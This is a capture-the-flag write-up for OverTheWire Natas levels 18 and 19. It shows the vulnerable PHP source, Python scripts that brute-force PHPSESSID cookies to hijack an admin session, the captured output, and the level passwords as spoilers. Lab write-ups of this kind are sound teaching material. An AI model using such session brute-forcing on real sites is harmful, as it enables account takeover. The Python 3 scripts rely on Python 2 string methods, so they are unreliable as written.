Overthewire Natas Level 18 and 19

Table of Contents

Overthewire - Natas

This series on the overthewire webpage challenges you to think outside the box and more about communication between client and server in order to find the hidden flag on the website for the next level. The structure of the challenge is that for each level you require a user name and password to authenticate to the next level challenge website. The username is natas[X] with X being the current level (e.g. natas5 for level 5), the corresponding URL is “http: //natas[X].natas.labs.overthewire.org/", X again being the level number e.g. “http://natas5.natas.labs.overthewire.org/" for the fifth level, and the password consists of 32 alphanumeric characters.

And now without further ado, let’s get to it:

natas18

The website tells us that we should login as admin to get the credentials for natas19. We have a username and password field and a login button to accomplish that. Again, let’s start with the source code:

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
      if(!session_start()) {
          debug("Session start failed");
          return false;
      } else {
          debug("Session start ok");
          if(!array_key_exists("admin", $_SESSION)) {
            debug("Session was old: admin flag set");
            $_SESSION["admin"] = 0; // backwards compatible, secure
          }
          return true;
      }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
      print "You are an admin. The credentials for the next level are:<br>";
      print "<pre>Username: natas19\n";
      print "Password: <censored></pre>";
    } else {
      print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
      session_id(createID($_REQUEST["username"]));
      session_start();
      $_SESSION["admin"] = isValidAdminLogin();
      debug("New session started");
      $showform = false;
      print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 

That is a lot to digest. The central line for us is if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1). Before we disect the code let’s gather some information. What is a PHP session?
“A session is a way to store information (in variables) to be used across multiple pages. Unlike a cookie, the information is not stored on the users computer.” “A session is started with the session_start() function. Session variables are set with the PHP global variable: $_SESSION.”

That means for us, that if there is a PHP global variable $_SESSION set by the session_start() function, there is a key “admin” for that session and that value of that key is set to 1, we get access.
To help us get some debugging output, there is the function debug($msg) to help us in some places such as informing us about that a new session started and so on.
To start a session for us there is an if clause if(my_session_start()) that if the function my_session_start() is evaluated to false and if the $_REQUEST variable contains the username and password key, a new session ID between 1 and 640 is created and the session started with that ID. After the start of the session with the new ID, $_SESSION["admin"] = isValidAdminLogin(); is called which returns “0” for the $_SESSION[“admin”] variable.

Alright so far so good, but what do we make of this? Apparently the $_SESSION[“admin”] is always set to “0” so how do we circumvent this? Let’s check out the behavior of the website with burp:

OK at the beginning of the PHP code, we found a number limiting the amount of IDs that exist: $maxid = 640;. In other words, the function createID chooses a random number between 1 and 640 for the user’s ID. As there must be an admin ID stored locally on server side, we should be able to iterate through all IDs thus change each request by incrementing the Cookie: PHPSESSID=[increment here].

Let’s try this:

#!/usr/bin/env python3
import requests
import string
import time

auth_header = {
    'Authorization': 'Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==',
    'Accept': 'text/html,application/xhtml+xml,application/xml'
}

url='http://natas18.natas.labs.overthewire.org'

for i in range(0, 641):
    print("Trying number %d" % i)
    cookie = {"PHPSESSID": str(i)}
    resp = requests.request(method='POST', url=url, headers=auth_header, cookies=cookie)
    time.sleep(0.1)
    if "You are an admin." in resp.content:
        print(resp.content)
        break

So we set our header with the basic authorization for the natas18 level which we captured with burp before. Also we tell “requests” what responses do we accept at all. We set the url and the cookie PHPSESSID and increment its value from 0 to 640. As we know from the source code above, if we get the response “You are an admin.", we have found an ID with admin rights.

Let’s run this and wait…

Trying number 117
Trying number 118
Trying number 119
<html>
[...]
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Holy hell, it worked. The ID 119 appears to be stored with admin rights and we get the credentials for natas19.

Spoiler natas19: Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL: http://natas19.natas.labs.overthewire.org

natas19

When we enter the credentials for natas19, we see this page:

We log into the natas19 website and are greeted with this page.

Ok, first of all no source code and but the hint “This page uses mostly the same code as the previous level, but session IDs are no longer sequential… “.

ALright, let’s “burp” it:

When we intercept our post request with burp, we see that the session cookie looks different now: “PHPSESSID=3233332d61646d696e”.

This time, we do not have a simple numerical incremental pool of IDs. Instead it looks like we have a 18 character long hexadecimal pattern. What is the content of that string? We use "3233332d61646d696e".decode("hex") and receive '233-admin'. Apparently the first part of the cookie is a number, then a “-” and then the … username? Let’s check this and send another username and intercept the traffic again. First we look at the stored cookie for the http://natas19.natas.labs.overthewire.org webpage:

Let’s delete this cookie and send another post request with another username to check our hypothesis. We log in with user=user and password=admin. We get another cookie: If we decode this value, we receive:

"31342d75736572".decode("hex")
'14-user'

So our hypothesis was correct. As the webpage claimed before, the code for natas19 is vaguely the same one as for natas18, thus we could assume the number part of the ID ranges from 0 to 640. Now the admin of that webpage could either be something like “admin” or “root” or “administrator” or “natas20”. Let’s check all these options out and see, whether we are successful. Let’s start with natas20. We encode it to hex 'natas20'.encode("hex") --> '6e617461733230' and use the same python infrastructure than in level 18:

#!/usr/bin/env python3
import requests
import string
import time

auth_header = {
    # Don't forget to use the authorization for natas19 webpage
    'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==',
    'Accept': 'text/html,application/xhtml+xml,application/xml'
}

# change URL to natas19
url='http://natas19.natas.labs.overthewire.org'
# Let's start with the "natas20" variation as admin user
admin = "natas20"

for i in range(0, 641):
    plain_cookie_value = str(i) + "-" + admin
    encoded_cookie_value = (str(i) + "-" + admin).encode("hex")
    print("Trying plain cookie value %s encoded as %s" % (plain_cookie_value, encoded_cookie_value))
    cookie = {"PHPSESSID": encoded_cookie_value}
    resp = requests.request(method='POST', url=url, headers=auth_header, cookies=cookie)
    time.sleep(0.1)
    if "You are an admin." in resp.content:
        print(resp.content)
        break

First we check that the script is working overall by printing out one content of resp.content:

Trying plain cookie value 0-natas20 encoded as 302d6e617461733230
<html>
<head>
[...]
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.</div>
</body>
</html>

It seems like the script is working. Now let’s run it… Unfortunately we do not get the awaited response with “natas20” as user. Let’s try “admin”:

[...]
# Let's continue with the "admin" variation as admin user
admin = "admin"
[...]

Let’s run this… And after a while we get:

Trying plain cookie value 281-admin encoded as 3238312d61646d696e
<html>
[...]
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>

Yey, we got it!

Spoiler natas20: Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL: http://natas20.natas.labs.overthewire.org

Wrap Up

We have seen for the first time cookie based session management and used the fault in the implementation to our advantage that there is a hardcoded ID associated to an admin account stored server side. And that the searchable cookie alphabet of possible cookie values was small enough to bruteforce that ID. In the second challenge, we also had to guess the possible name of an admin account and encode that into hex.

See you soon! :)